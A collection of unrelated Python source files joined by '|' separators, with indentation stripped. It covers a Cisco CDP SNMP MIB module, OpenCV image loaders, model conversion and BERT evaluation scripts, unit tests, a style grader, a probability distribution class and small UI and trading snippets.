ciscoCdpMIBComplianceV12R03 = ModuleCompliance((1, 3, 6, 1, 4, 1, 9, 9, 23, 2, 1, 6)).setObjects(("CISCO-CDP-MIB", "ciscoCdpMIBGroupV12R03"), ("CISCO-CDP-MIB", "ciscoCdpCtAddressGroup"), ("CISCO-CDP-MIB", "ciscoCdpV2MIBGroup"), ("CISCO-CDP-MIB", "ciscoCdpV2IfExtGroup"))
if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0):
ciscoCdpMIBComplianceV12R03 = ciscoCdpMIBComplianceV12R03.setStatus('current')
ciscoCdpMIBGroup = ObjectGroup((1, 3, 6, 1, 4, 1, 9, 9, 23, 2, 2, 1)).setObjects(("CISCO-CDP-MIB", "cdpInterfaceEnable"), ("CISCO-CDP-MIB", "cdpInterfaceMessageInterval"), ("CISCO-CDP-MIB", "cdpCacheAddressType"), ("CISCO-CDP-MIB", "cdpCacheAddress"), ("CISCO-CDP-MIB", "cdpCacheVersion"), ("CISCO-CDP-MIB", "cdpCacheDeviceId"), ("CISCO-CDP-MIB", "cdpCacheDevicePort"), ("CISCO-CDP-MIB", "cdpCacheCapabilities"), ("CISCO-CDP-MIB", "cdpCachePlatform"))
if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0):
ciscoCdpMIBGroup = ciscoCdpMIBGroup.setStatus('obsolete')
ciscoCdpMIBGroupV11R01 = ObjectGroup((1, 3, 6, 1, 4, 1, 9, 9, 23, 2, 2, 2)).setObjects(("CISCO-CDP-MIB", "cdpInterfaceEnable"), ("CISCO-CDP-MIB", "cdpInterfaceMessageInterval"), ("CISCO-CDP-MIB", "cdpInterfaceGroup"), ("CISCO-CDP-MIB", "cdpInterfacePort"), ("CISCO-CDP-MIB", "cdpCacheAddressType"), ("CISCO-CDP-MIB", "cdpCacheAddress"), ("CISCO-CDP-MIB", "cdpCacheVersion"), ("CISCO-CDP-MIB", "cdpCacheDeviceId"), ("CISCO-CDP-MIB", "cdpCacheDevicePort"), ("CISCO-CDP-MIB", "cdpCacheCapabilities"), ("CISCO-CDP-MIB", "cdpCachePlatform"))
if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0):
ciscoCdpMIBGroupV11R01 = ciscoCdpMIBGroupV11R01.setStatus('obsolete')
ciscoCdpMIBGroupV11R02 = ObjectGroup((1, 3, 6, 1, 4, 1, 9, 9, 23, 2, 2, 3)).setObjects(("CISCO-CDP-MIB", "cdpInterfaceEnable"), ("CISCO-CDP-MIB", "cdpInterfaceGroup"), ("CISCO-CDP-MIB", "cdpInterfacePort"), ("CISCO-CDP-MIB", "cdpCacheAddressType"), ("CISCO-CDP-MIB", "cdpCacheAddress"), ("CISCO-CDP-MIB", "cdpCacheVersion"), ("CISCO-CDP-MIB", "cdpCacheDeviceId"), ("CISCO-CDP-MIB", "cdpCacheDevicePort"), ("CISCO-CDP-MIB", "cdpCacheCapabilities"), ("CISCO-CDP-MIB", "cdpCachePlatform"), ("CISCO-CDP-MIB", "cdpGlobalRun"), ("CISCO-CDP-MIB", "cdpGlobalMessageInterval"), ("CISCO-CDP-MIB", "cdpGlobalHoldTime"))
if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0):
ciscoCdpMIBGroupV11R02 = ciscoCdpMIBGroupV11R02.setStatus('obsolete')
ciscoCdpMIBGroupV12R02 = ObjectGroup((1, 3, 6, 1, 4, 1, 9, 9, 23, 2, 2, 5)).setObjects(("CISCO-CDP-MIB", "cdpInterfaceEnable"), ("CISCO-CDP-MIB", "cdpInterfaceGroup"), ("CISCO-CDP-MIB", "cdpInterfacePort"), ("CISCO-CDP-MIB", "cdpCacheAddressType"), ("CISCO-CDP-MIB", "cdpCacheAddress"), ("CISCO-CDP-MIB", "cdpCacheVersion"), ("CISCO-CDP-MIB", "cdpCacheDeviceId"), ("CISCO-CDP-MIB", "cdpCacheDevicePort"), ("CISCO-CDP-MIB", "cdpCacheCapabilities"), ("CISCO-CDP-MIB", "cdpCachePlatform"), ("CISCO-CDP-MIB", "cdpCacheVTPMgmtDomain"), ("CISCO-CDP-MIB", "cdpCacheNativeVLAN"), ("CISCO-CDP-MIB", "cdpCacheDuplex"), ("CISCO-CDP-MIB", "cdpGlobalRun"), ("CISCO-CDP-MIB", "cdpGlobalMessageInterval"), ("CISCO-CDP-MIB", "cdpGlobalHoldTime"), ("CISCO-CDP-MIB", "cdpGlobalDeviceId"))
if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0):
ciscoCdpMIBGroupV12R02 = ciscoCdpMIBGroupV12R02.setStatus('deprecated')
ciscoCdpV2MIBGroup = ObjectGroup((1, 3, 6, 1, 4, 1, 9, 9, 23, 2, 2, 6)).setObjects(("CISCO-CDP-MIB", "cdpCacheApplianceID"), ("CISCO-CDP-MIB", "cdpCacheVlanID"), ("CISCO-CDP-MIB", "cdpCachePowerConsumption"), ("CISCO-CDP-MIB", "cdpCacheMTU"), ("CISCO-CDP-MIB", "cdpCacheSysName"), ("CISCO-CDP-MIB", "cdpCacheSysObjectID"), ("CISCO-CDP-MIB", "cdpCacheLastChange"), ("CISCO-CDP-MIB", "cdpCachePhysLocation"), ("CISCO-CDP-MIB", "cdpCachePrimaryMgmtAddrType"), ("CISCO-CDP-MIB", "cdpCachePrimaryMgmtAddr"), ("CISCO-CDP-MIB", "cdpCacheSecondaryMgmtAddrType"), ("CISCO-CDP-MIB", "cdpCacheSecondaryMgmtAddr"), ("CISCO-CDP-MIB", "cdpGlobalLastChange"), ("CISCO-CDP-MIB", "cdpGlobalDeviceIdFormatCpb"), ("CISCO-CDP-MIB", "cdpGlobalDeviceIdFormat"))
if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0):
ciscoCdpV2MIBGroup = ciscoCdpV2MIBGroup.setStatus('current')
ciscoCdpV2IfExtGroup = ObjectGroup((1, 3, 6, 1, 4, 1, 9, 9, 23, 2, 2, 7)).setObjects(("CISCO-CDP-MIB", "cdpInterfaceExtendedTrust"), ("CISCO-CDP-MIB", "cdpInterfaceCosForUntrustedPort"))
if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0):
ciscoCdpV2IfExtGroup = ciscoCdpV2IfExtGroup.setStatus('current')
ciscoCdpCtAddressGroup = ObjectGroup((1, 3, 6, 1, 4, 1, 9, 9, 23, 2, 2, 8)).setObjects(("CISCO-CDP-MIB", "cdpCtAddressType"), ("CISCO-CDP-MIB", "cdpCtAddress"))
if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0):
ciscoCdpCtAddressGroup = ciscoCdpCtAddressGroup.setStatus('current')
ciscoCdpMIBGroupV12R03 = ObjectGroup((1, 3, 6, 1, 4, 1, 9, 9, 23, 2, 2, 9)).setObjects(("CISCO-CDP-MIB", "cdpInterfaceEnable"), ("CISCO-CDP-MIB", "cdpInterfaceGroup"), ("CISCO-CDP-MIB", "cdpInterfacePort"), ("CISCO-CDP-MIB", "cdpInterfaceName"), ("CISCO-CDP-MIB", "cdpCacheAddressType"), ("CISCO-CDP-MIB", "cdpCacheAddress"), ("CISCO-CDP-MIB", "cdpCacheVersion"), ("CISCO-CDP-MIB", "cdpCacheDeviceId"), ("CISCO-CDP-MIB", "cdpCacheDevicePort"), ("CISCO-CDP-MIB", "cdpCacheCapabilities"), ("CISCO-CDP-MIB", "cdpCachePlatform"), ("CISCO-CDP-MIB", "cdpCacheVTPMgmtDomain"), ("CISCO-CDP-MIB", "cdpCacheNativeVLAN"), ("CISCO-CDP-MIB", "cdpCacheDuplex"), ("CISCO-CDP-MIB", "cdpGlobalRun"), ("CISCO-CDP-MIB", "cdpGlobalMessageInterval"), ("CISCO-CDP-MIB", "cdpGlobalHoldTime"), ("CISCO-CDP-MIB", "cdpGlobalDeviceId"))
if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0):
ciscoCdpMIBGroupV12R03 = ciscoCdpMIBGroupV12R03.setStatus('current')
mibBuilder.exportSymbols("CISCO-CDP-MIB", cdpCacheDeviceId=cdpCacheDeviceId, cdpCacheCapabilities=cdpCacheCapabilities, cdpCacheSysObjectID=cdpCacheSysObjectID, cdpCacheMTU=cdpCacheMTU, cdpInterface=cdpInterface, cdpCacheAddressType=cdpCacheAddressType, cdpInterfaceEntry=cdpInterfaceEntry, cdpCacheDevicePort=cdpCacheDevicePort, cdpCtAddress=cdpCtAddress, cdpCacheDuplex=cdpCacheDuplex, cdpGlobalRun=cdpGlobalRun, ciscoCdpMIBGroups=ciscoCdpMIBGroups, cdpGlobal=cdpGlobal, cdpCtAddressType=cdpCtAddressType, ciscoCdpMIBComplianceV12R03=ciscoCdpMIBComplianceV12R03, cdpGlobalHoldTime=cdpGlobalHoldTime, ciscoCdpMIBGroupV11R01=ciscoCdpMIBGroupV11R01, cdpCacheVersion=cdpCacheVersion, cdpCacheLastChange=cdpCacheLastChange, ciscoCdpMIBGroupV12R02=ciscoCdpMIBGroupV12R02, cdpCache=cdpCache, cdpCacheSysName=cdpCacheSysName, ciscoCdpMIBGroupV11R02=ciscoCdpMIBGroupV11R02, cdpInterfaceTable=cdpInterfaceTable, cdpCacheVTPMgmtDomain=cdpCacheVTPMgmtDomain, cdpInterfaceIfIndex=cdpInterfaceIfIndex, cdpInterfaceExtEntry=cdpInterfaceExtEntry, cdpCacheSecondaryMgmtAddrType=cdpCacheSecondaryMgmtAddrType, ciscoCdpV2MIBGroup=ciscoCdpV2MIBGroup, cdpCtAddressTable=cdpCtAddressTable, ciscoCdpMIBCompliance5=ciscoCdpMIBCompliance5, ciscoCdpMIBConformance=ciscoCdpMIBConformance, ciscoCdpMIBObjects=ciscoCdpMIBObjects, cdpCacheDeviceIndex=cdpCacheDeviceIndex, cdpInterfaceName=cdpInterfaceName, cdpCacheSecondaryMgmtAddr=cdpCacheSecondaryMgmtAddr, cdpInterfaceEnable=cdpInterfaceEnable, ciscoCdpV2IfExtGroup=ciscoCdpV2IfExtGroup, ciscoCdpMIBGroupV12R03=ciscoCdpMIBGroupV12R03, ciscoCdpMIBGroup=ciscoCdpMIBGroup, cdpCachePlatform=cdpCachePlatform, ciscoCdpMIBComplianceV12R02=ciscoCdpMIBComplianceV12R02, cdpGlobalDeviceIdFormat=cdpGlobalDeviceIdFormat, cdpCacheNativeVLAN=cdpCacheNativeVLAN, ciscoCdpMIBComplianceV11R02=ciscoCdpMIBComplianceV11R02, ciscoCdpMIBCompliance=ciscoCdpMIBCompliance, cdpCtAddressIndex=cdpCtAddressIndex, cdpGlobalDeviceId=cdpGlobalDeviceId, cdpInterfaceExtendedTrust=cdpInterfaceExtendedTrust, cdpGlobalLastChange=cdpGlobalLastChange, cdpInterfacePort=cdpInterfacePort, cdpInterfaceMessageInterval=cdpInterfaceMessageInterval, cdpCacheAddress=cdpCacheAddress, cdpGlobalDeviceIdFormatCpb=cdpGlobalDeviceIdFormatCpb, PYSNMP_MODULE_ID=ciscoCdpMIB, cdpCachePhysLocation=cdpCachePhysLocation, cdpCtAddressEntry=cdpCtAddressEntry, ciscoCdpMIBCompliances=ciscoCdpMIBCompliances, ciscoCdpMIBComplianceV11R01=ciscoCdpMIBComplianceV11R01, cdpInterfaceCosForUntrustedPort=cdpInterfaceCosForUntrustedPort, ciscoCdpCtAddressGroup=ciscoCdpCtAddressGroup, cdpCacheApplianceID=cdpCacheApplianceID, cdpCachePrimaryMgmtAddrType=cdpCachePrimaryMgmtAddrType, cdpCacheIfIndex=cdpCacheIfIndex, cdpCachePrimaryMgmtAddr=cdpCachePrimaryMgmtAddr, cdpGlobalMessageInterval=cdpGlobalMessageInterval, cdpCacheVlanID=cdpCacheVlanID, cdpCacheTable=cdpCacheTable, cdpInterfaceExtTable=cdpInterfaceExtTable, ciscoCdpMIB=ciscoCdpMIB, cdpCacheEntry=cdpCacheEntry, cdpInterfaceGroup=cdpInterfaceGroup, cdpCachePowerConsumption=cdpCachePowerConsumption)
|
from abc import ABCMeta, abstractmethod
from typing import Tuple
import numpy as np
import torch
import cv2
class ImageArrayGetter(ABCMeta):
@abstractmethod
def __call__(cls) -> np.array:
pass
class CV2CamImageArrayGetter(ImageArrayGetter):
def __init__(cls, resizer: callable, camera: any):
if not resizer:
raise ValueError('The resizer cannot be empty')
if not camera:
raise ValueError('The camera cannot be empty')
super().__init__(camera, resizer)
cls._camera = camera
cls._resizer = resizer
def __call__(cls, image_size: Tuple[int, int]) -> np.array:
ret, image = cls._camera.read()
if not ret:
raise RuntimeError("Cannot get mage from the camera")
image = cls._resizer(image, image_size)
return image
class FileImageArrayGetter(ImageArrayGetter):
def __init__(cls, resizer: callable):
if not resizer:
raise ValueError('The resizer cannot be empty')
super().__init__(resizer)
cls._resizer = resizer
def __call__(cls, filename: str, image_size: Tuple[int, int]) -> np.array:
image = cv2.imread(filename)
image = cls._resizer(image, image_size)
return image
|
# import tensorflow as tf
import tensorflowjs as tfjs
from tensorflowjs.converters import tf_saved_model_conversion_pb
saved_model_path = "../saved_model_js"
output_path = "web_model"
def convert_to_tfjs(input_dir, output_dir):
# Reference: https://github.com/tensorflow/tfjs-converter/blob/0.8.x/python/tensorflowjs/converters/converter.py
output_node_names = "detection_boxes,detection_classes,detection_scores,num_detections"
tf_saved_model_conversion_pb.convert_tf_saved_model(input_dir,
output_node_names,
output_dir,
saved_model_tags='serve',
quantization_dtype=None,
skip_op_check=False,
strip_debug_ops=True)
def main():
convert_to_tfjs(saved_model_path, output_path)
if __name__ == "__main__":
main() |
class Produto:
nome = ''
codigo = 0
compra = 0.0
venda = 0.0
def cadastrar(catalogo):
for c in range(2):
dados = Produto()
dados.nome = input('Digite o nome do produto: ')
dados.codigo = int(input('Insira o código do produto '))
dados.compra = float(input('Digite o preço do produto R$: '))
catalogo.append(dados)
def calcular(prod):
for c in range(2):
prod[c].venda = prod[c].compra * 0.1 + prod[c].compra
def visualizar(catalogo):
print(';'*80)
print(f'{"Catálogo":^80}')
print(';'*80)
print(f'{"produto":<20}{"código":^20}{"preço de custo":<20}{"preço de venda":>20}')
for i in range(len(catalogo)):
print(f'{catalogo[i].nome:.<20}{catalogo[i].codigo:.^20}',end='')
print(f'R$:{catalogo[i].compra:.<17.2f}R$:{catalogo[i].venda:.>17.2f}')
def main():
opcao = 1
catalogo = []
while opcao >= 1 and opcao <= 3:
print('\nMenu de opções')
print('1. Cadastrar produtos')
print('2. Calcular aumento')
print('3. Visualizar todos os dados')
print('4. Sair')
opcao = int(input('Qual opção deseja? '))
if opcao == 1:
cadastrar(catalogo)
elif opcao == 2:
calcular(catalogo)
elif opcao == 3:
visualizar(catalogo)
main()
|
# -*- coding: utf-8 -*-
"""
Copyright (c) 2020 Kairo de Araujo
"""
import pytest
from unittest import mock
from voluptuous import MultipleInvalid
from ownca.exceptions import OnwCAInvalidDataStructure
from ownca.crypto.keys import (
_validate_owncakeydata,
_get_public_key,
OwncaKeyData,
generate,
)
@mock.patch("ownca.crypto.keys.Schema")
def test__validate_owncakeydata(mock_Schema):
mocked_schema = mock.MagicMock()
mocked_schema.return_value = None
mock_Schema.return_value = mocked_schema
assert (
_validate_owncakeydata(
{
"key": "key",
"key_bytes": "key_bytes",
"public_key": "public_key",
"public_key_bytes": "public_key_bytes",
}
)
is None
)
@mock.patch("ownca.crypto.keys.Schema")
def test__validate_owncakeydata_exception(mock_Schema):
mocked_schema = mock.MagicMock()
mocked_schema.side_effect = MultipleInvalid("x")
mock_Schema.return_value = mocked_schema
with pytest.raises(OnwCAInvalidDataStructure) as err:
_validate_owncakeydata(
{
"key": "key",
"key_bytes": "key_bytes",
"public_key": "public_key",
"public_key_bytes": "public_key_bytes",
}
)
assert "OnwcaKeyData: " in err.value
@mock.patch("ownca.crypto.keys._validate_owncakeydata")
def test_owncakeydata(mock__validate_owncakeydata):
mock__validate_owncakeydata.return_value = None
result = OwncaKeyData(
{
"key": "key",
"key_bytes": "key_bytes",
"public_key": "public_key",
"public_key_bytes": "public_key_bytes",
}
)
assert isinstance(result, OwncaKeyData)
assert result.key == "key"
assert result.key_bytes == "key_bytes"
assert result.public_key == "public_key"
assert result.public_key_bytes == "public_key_bytes"
@mock.patch("ownca.crypto.keys._validate_owncakeydata")
def test_owncakeydata_exception(mock__validate_owncakeydata):
mock__validate_owncakeydata.side_effect = OnwCAInvalidDataStructure
with pytest.raises(OnwCAInvalidDataStructure) as err:
OwncaKeyData(
{
"key": "key",
"key_bytes": "key_bytes",
"public_key": "public_key",
"public_key_bytes": "public_key_bytes",
}
)
assert "OwncaKeyData:" in err.value
def test__get_public_key():
mock_key = mock.MagicMock()
mock_key.public_key().public_bytes.return_value = "public_key"
assert _get_public_key(mock_key) == "public_key"
@mock.patch("ownca.crypto.keys._validate_owncakeydata")
@mock.patch("ownca.crypto.keys._get_public_key")
@mock.patch("ownca.crypto.keys.rsa")
def test_generate(mock_rsa, mock__get_public_key, mock_validate__owncakeydata):
mock__get_public_key.return_value = "public_key_bytes"
mock_validate__owncakeydata.return_value = None
mock_key = mock.MagicMock()
mock_key.__class__ = classmethod
mock_key.private_bytes.return_value = "private_key"
mock_key.public_key.return_value = "public_key"
mock_rsa.generate_private_key.return_value = mock_key
result = generate()
assert isinstance(result.key, classmethod)
assert result.key_bytes == "private_key"
assert result.public_key == "public_key"
assert result.public_key_bytes == "public_key_bytes"
|
# Copyright 2013-2019 Lawrence Livermore National Security, LLC and other
# Spack Project Developers. See the top-level COPYRIGHT file for details.
#
# SPDX-License-Identifier: (Apache-2.0 OR MIT)
import pytest
import spack.main
spack_filter = spack.main.SpackCommand('filter')
@pytest.mark.db
@pytest.mark.usefixtures('database')
@pytest.mark.parametrize('flags,specs,expected', [
([], ['boost', 'mpileaks'], ['boost', 'mpileaks']),
(['--installed'],
['boost', 'mpileaks^mpich', 'libelf'],
['mpileaks ^mpich', 'libelf']),
(['--not-installed'], ['boost', 'mpileaks^mpich', 'libelf'], ['boost']),
# The tests below appear to fail for reasons related to mocking
pytest.param(
['--installed', '--explicit'],
['boost', 'mpileaks^mpich', 'libelf'], ['mpileaks^mpich'],
marks=pytest.mark.xfail
),
pytest.param(
['--implicit'],
['boost', 'mpileaks^mpich', 'libelf'], ['boost', 'libelf'],
marks=pytest.mark.xfail
),
])
def test_filtering_specs(flags, specs, expected):
args = flags + specs
output = spack_filter(*args)
for item in expected:
assert item in output
for item in set(specs).difference(expected):
assert item not in output
|
'''
Style Grader class with instance-method plugin-based functionality.
'''
import codecs
from ConfigParser import ConfigParser
from collections import defaultdict
import os
import sys
from copy import deepcopy
from glob import glob
from cpplint.cpplint import CleansedLines, RemoveMultiLineComments
from style_grader_functions import check_if_function, print_success, get_indent_level
from style_grader_classes import SpacingTracker
from StyleError import StyleError
import comment_checks
import multi_line_checks
import misc_checks
import single_line_checks
import adjustments
LOCAL_DIR = os.path.dirname(os.path.realpath(__file__))
def safely_open(filename):
try:
dirty_text = codecs.open(filename, 'r', 'utf8', 'replace').readlines()
for num, line in enumerate(dirty_text):
dirty_text[num] = line.rstrip('\r')
return dirty_text
except IOError:
sys.stderr.write('This file could not be read: "%s." '
'Please check filename and resubmit \n' % filename)
return
class StyleRubric(object):
'''
A style grader to generate StyleErrors from a list of C++ files.
'''
def __init__(self, student_files=None):
''' Load functionality based on config file specifications '''
self.config = ConfigParser()
self.config.read(LOCAL_DIR+'/rubric.ini')
self.error_tracker = dict()
self.error_types = defaultdict(int)
self.total_errors = 0
self.includes = self.config.get('FILES', 'permitted_includes').split(',')
self.local_includes = dict()
self.all_rme = dict()
self.missing_rme = dict()
self.min_comments_ratio = float(self.config.get('SETTINGS', 'min_comments_ratio'))
self.max_line_length = int(self.config.get('SETTINGS', 'max_line_length'))
self.single_line_checks = self.load_functions(single_line_checks)
self.multi_line_checks = self.load_functions(multi_line_checks)
self.comment_checks = self.load_functions(comment_checks)
self.misc_checks = self.load_functions(misc_checks)
self.adjustments = self.load_functions(adjustments, prefix='adjust')
self.global_in_object = False;
self.global_object_braces = []
self.global_in_object_index = 0
self.file_has_a_main = {}
self.current_file_indentation = 4
if student_files:
self.student_files = student_files
else:
self.student_files = self.load_filenames(self.config.get('FILES', 'student_files').split(','))
def add_global_brace(self, brace):
self.global_object_braces.append(brace)
self.global_in_object_index += 1
def pop_global_brace(self):
self.global_object_braces.pop()
if self.global_in_object_index == 0:
self.global_in_object = False
def load_functions(self, module, prefix='check'):
functions = list()
group = module.__name__.split('.')[-1].upper()
for check in self.config.options(group):
if self.config.get(group, check).lower() == 'yes':
functions.append(getattr(module, prefix + '_' + check))
return functions
def load_filenames(self, paths):
all_files = list()
for path in paths:
files = glob(path)
all_files.extend(files)
return all_files
def reset_for_new_file(self, filename):
self.spacer = SpacingTracker()
self.outside_main = True
self.egyptian = False
self.not_egyptian = False
self.braces_error = False #To prevent multiple braces errors
self.in_switch = False
self.current_file = filename
self.error_tracker[filename] = list()
self.all_rme[filename] = set()
self.missing_rme[filename] = set()
self.local_includes[filename] = list()
self.current_file_indentation = get_indent_level(open(filename, 'rU'))
def add_error(self, label=None, line=-1, column=0, type='ERROR', data=dict()):
self.total_errors += 1
self.error_types[label] += 1
line = line if (line != -1) else self.current_line_num + 1
self.error_tracker[self.current_file].append(StyleError(1, label, line, column_num=column, type=type, data=data))
def grade_student_file(self, filename):
extension = filename.split('.')[-1]
if extension not in ['h', 'cpp']:
sys.stderr.write('Failed to parse {}: incorrect file type.\n'.format(filename))
return
data = safely_open(filename)
if data:
self.reset_for_new_file(filename)
raw_data = deepcopy(data)
RemoveMultiLineComments(filename, data, '')
clean_lines = CleansedLines(data)
clean_code = clean_lines.lines
for self.current_line_num, code in enumerate(clean_code):
for function in self.single_line_checks: function(self, code)
for function in self.multi_line_checks: function(self, clean_lines)
# COMMENT CHECKS #TODO
for self.current_line_num, text in enumerate(raw_data):
if self.config.get('COMMENT_CHECKS', 'line_width').lower() == 'yes':
getattr(comment_checks, 'check_line_width')(self, text)
if check_if_function(text):
if self.config.get('COMMENT_CHECKS', 'missing_rme').lower() == 'yes':
getattr(comment_checks, 'check_missing_rme')(self, raw_data)
if self.config.get('COMMENT_CHECKS', 'min_comments').lower() == 'yes':
getattr(comment_checks, 'check_min_comments')(self, raw_data, clean_code)
for function in self.misc_checks: function(self)
self.error_tracker[filename].sort()
self.file_has_a_main[filename] = not self.outside_main
def adjust_errors(self):
for function in self.adjustments:
function(self)
def print_errors(self):
for filename, errors in self.error_tracker.iteritems():
print 'Grading {}...'.format(filename)
if not len(errors):
print_success()
for error in errors:
print error
print
|
import numpy as np
import pandas as pd
import os
import glob
import sklearn
from transformers import BertTokenizer
from torch.utils.data import TensorDataset
from sklearn.metrics import f1_score
import random
from transformers import BertForSequenceClassification
from torch.utils.data import DataLoader, RandomSampler, SequentialSampler
from transformers import AdamW, get_linear_schedule_with_warmup
#from utility import accuracy_per_class, f1_score_func
from model import evaluate
import argparse
from sklearn.model_selection import train_test_split
import torch
from tqdm import tqdm
import json
import torch.nn as nn
parser = argparse.ArgumentParser()
parser.add_argument('--trained_model', default='./ct-BERTV2-13-14-15/finetuned_BERT_epoch_4.model', help="saved model name from huggingface")
parser.add_argument('--csv',help="csv of test sets")
def get_label(preds, label_dict):
label_dict_inverse = {v: k for k, v in label_dict.items()}
preds_flat = np.argmax(preds, axis=1).flatten()
pred_label= [label_dict_inverse[label] for label in preds_flat]
return pred_label
def evaluate2(dataloader_test, model):
model.eval()
loss_val_total = 0
predictions, id_test = [], []
progress_bar = tqdm(dataloader_test, desc='evaluating', leave=False, disable=False)
for batch in progress_bar:
batch = tuple(b.to(device) for b in batch)
inputs = {'input_ids': batch[0],
'attention_mask': batch[1],
}
with torch.no_grad():
outputs = model(**inputs)
#loss = outputs[0] //still calculating loss assuming labels ids
logits = outputs[0]
#loss_val_total += loss.item()
sm = nn.Softmax(dim=1)
logits = sm(logits)
#logits = logits.detach().cpu().numpy()
logits = logits.detach().cpu().numpy()
ids = batch[2].cpu().numpy()
predictions.append(logits)
id_test.append(ids)
predictions = np.concatenate(predictions, axis=0)
id_test = np.concatenate(id_test, axis=0)
return predictions, id_test
if (__name__ == "__main__"):
args = parser.parse_args()
tokenizer = BertTokenizer.from_pretrained('digitalepidemiologylab/covid-twitter-bert',
do_lower_case=True)
df = pd.read_csv(args.csv, names=['id', 'category','text'])
df.set_index('id', inplace=True)
encoded_data_test = tokenizer.batch_encode_plus(
df.text.values,
add_special_tokens=True,
return_attention_mask=True,
pad_to_max_length=True,
max_length=256,
return_tensors='pt'
)
input_ids_test = encoded_data_test['input_ids']
attention_masks_test = encoded_data_test['attention_mask']
labels_test = torch.tensor(df.index.values)
dataset_test = TensorDataset(input_ids_test, attention_masks_test, labels_test)
model = BertForSequenceClassification.from_pretrained('digitalepidemiologylab/covid-twitter-bert',
num_labels=3,
output_attentions=False,
output_hidden_states=False)
model.load_state_dict(torch.load(args.trained_model))
print("model loaded sucessfully")
#device = torch.device('cpu')
device = torch.device('cuda' if torch.cuda.is_available() else 'cpu')
model.to(device)
with open('ct-BERTV2-13-14-15/params.json', 'r') as fp:
label_dict = json.load(fp)
print(label_dict)
dataloader_tester = DataLoader(dataset_test,
sampler=SequentialSampler(dataset_test),
batch_size=8)
predictions, id_test = evaluate2(dataloader_tester,model)
pred_label = get_label(predictions, label_dict)
id_test = id_test.flatten()
filepath_out='results/'+args.csv.split('/')[-1]
f =open(filepath_out,"w+")
for i,j in zip(predictions, id_test):
f.writelines('%s,%s\n' %(i, j))
f.close()
print("done one file")
#accuracy_per_class(predictions, true_vals)
|
"""The Triangular distrubution."""
from equadratures.distributions.template import Distribution
from equadratures.distributions.recurrence_utils import custom_recurrence_coefficients
import numpy as np
from scipy.stats import triang
RECURRENCE_PDF_SAMPLES = 8000
class Triangular(Distribution):
"""
The class defines a Triangular object.
:param double lower:
Lower bound of the support of the distribution.
:param double upper:
Upper bound of the support of the distribution.
:param double mode:
Mode of the distribution.
"""
def __init__(self, lower=None, upper=None, mode=None):
self.lower = lower # loc
self.upper = upper
self.mode = mode
self.bounds = np.array([0, 1.0])
self.scale = upper - lower # scale
self.shape = (self.mode - self.lower) / (self.upper - self.lower) # c
if (self.lower is not None) and (self.upper is not None) and (self.mode is not None) :
mean, var, skew, kurt = triang.stats(c=self.shape, loc=self.lower, scale=self.scale, moments='mvsk')
self.mean = mean
self.variance = var
self.skewness = skew
self.kurtosis = kurt
self.x_range_for_pdf = np.linspace(self.lower, self.upper, RECURRENCE_PDF_SAMPLES)
self.parent = triang(loc=self.lower, scale=self.scale, c=self.shape)
def get_description(self):
"""
Returns the description of the distribution.
:param Distribution self:
An instance of the distribution class.
"""
text = "is a triangular distribution with a mode of "+str(self.mode)+" over the support "+str(self.lower)+" to "+str(self.upper)+"."
return text
def get_cdf(self, points=None):
"""
Returns the CDF of the distribution.
:param Distribution self:
An instance of the distribution class.
"""
if points is not None:
return self.parent.cdf(points)
else:
raise ValueError( 'Please digit an input for getCDF method')
def get_pdf(self, points=None):
"""
Returns the PDF of the distribution.
:param Distribution self:
An instance of the distribution class.
"""
if points is not None:
return self.parent.pdf(points)
else:
raise ValueError( 'Please digit an input for get_pdf method')
def get_icdf(self, xx):
"""
An inverse cumulative density function.
:param Distribution self:
An instance of the distribution class.
:param xx:
A numpy array of uniformly distributed samples between [0,1].
:return:
Inverse CDF samples associated with the gamma distribution.
"""
return self.parent.ppf(xx)
def get_samples(self, m=None):
"""
Generates samples from the distribution.
:param Distribution self:
An instance of the distribution class.
:param integer m:
Number of random samples. If no value is provided, a default of 5e5 is assumed.
:return:
A N-by-1 vector that contains the samples.
"""
if m is not None:
number = m
else:
number = 500000
return self.parent.rvs(size=number) |
import torch
from torch.autograd import Variable, grad
def grad_z(z, t, model, loss_criterion, n, λ=0):
model.eval()
# initialize
z, t = Variable(z), Variable(t) # here were two flags: volatile=False. True would mean that autograd shouldn't follow this. Got disabled
y = model(z)
loss = loss_criterion(y, t)
# We manually add L2 regularization
l2_reg = 0.0
for param in model.parameters():
l2_reg += torch.norm(param)**2
loss += 1/n * λ/2 * l2_reg
return list(grad(loss, list(model.parameters()), create_graph=True)) |
import random
import string
from asciimatics.exceptions import NextScene
from asciimatics.screen import Screen
from asciimatics.widgets import Button, Frame, Label, Layout
class HomePage(Frame):
"""A HomePage widget"""
def __init__(self, screen: Screen) -> None:
#
super().__init__(screen, screen.height * 2 // 3, screen.width * 2 // 3)
# Frame can contain multiple layouts, add display-widgets to layout to display the data you want
# first parameter explained: no of items on list = no of columns. value of list item = column width
layout = Layout([100], fill_frame=True)
self.add_layout(layout)
self._page_title = Label("This is a test page. Will remove when integration is done.")
layout.add_widget(self._page_title)
layout2 = Layout([1, 1, 1])
self.add_layout(layout2)
# Read the widget part on the docuemtation for info about the parameters
layout2.add_widget(Button("Chat Page", self._onclick_chat_page), 0)
layout2.add_widget(Button("Box Page", self._onclick_box_page), 1)
layout2.add_widget(Button("Change Title", self._onclick_change_title), 2)
# Fix the layouts and calculate the locations of all the widgets.
# This function should be called once all Layouts have been added to the
# frame and all widgets added to the Layouts.
# Method Belongs to parent class (FRAME)
self.fix()
def _onclick_chat_page(self) -> None:
raise NextScene("ChatPage")
def _onclick_box_page(self) -> None:
raise NextScene("BoxPage")
def _onclick_change_title(self) -> None:
self._page_title.text = self._get_random_string()
def _get_random_string(self) -> str:
letters = string.ascii_uppercase
result_str = "".join(random.choice(letters) for i in range(7))
return result_str
# sads
|
from rqalpha import run
from rqalpha.api import *
def init(context):
context.s1 = "000001.SZ"
logger.info(context.run_info)
logger.info('-- {} --'.format(context.universe))
# logger.info(all_instruments(type='CS'))
logger.info(instruments('000001.XSHE'))
logger.info(instruments(['000001.XSHE', '000002.XSHE']))
# Get stock list in one industry
logger.info('Industry: {}'.format(industry('C34')))
